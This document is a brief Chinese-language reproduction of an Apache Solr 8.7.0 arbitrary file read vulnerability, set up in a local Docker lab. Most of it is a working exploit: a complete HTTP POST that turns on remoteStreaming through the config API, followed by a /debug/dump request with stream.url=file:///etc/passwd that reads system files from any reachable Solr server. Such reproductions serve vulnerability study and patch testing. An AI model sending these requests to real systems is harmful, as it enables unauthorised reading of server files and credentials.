Apache Solr任意文件读取漏洞复现
环境配置
docker pull solr:8.7.0
docker run -d -p 8983:8983 solr:8.7.0
docker exec -it solr:8.7.0 /bin/bash
cp -r server/solr/configsets/_default/conf /var/solr/data/test1
./solr create -c <name> # 创建一个数据驱动模式的核心 此时的solr没有核心进行索引和搜索
漏洞复现
访问url http://xxx:8983/solr/admin/cores?indexInfo=false&wt=json
发现存在core_name buchiyexiao
测试POC
POST /solr/buchiyexiao/config HTTP/1.1
Host: ip:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type:application/json
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 84
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
当出现"This response format is experimental. It is likely to change in the future." 表示存在漏洞。
进行文件读取
URL:
http://ip/solr/buchiyexiao/debug/dump?param=ContentStreams
POST data:
stream.url=file:///etc/passwd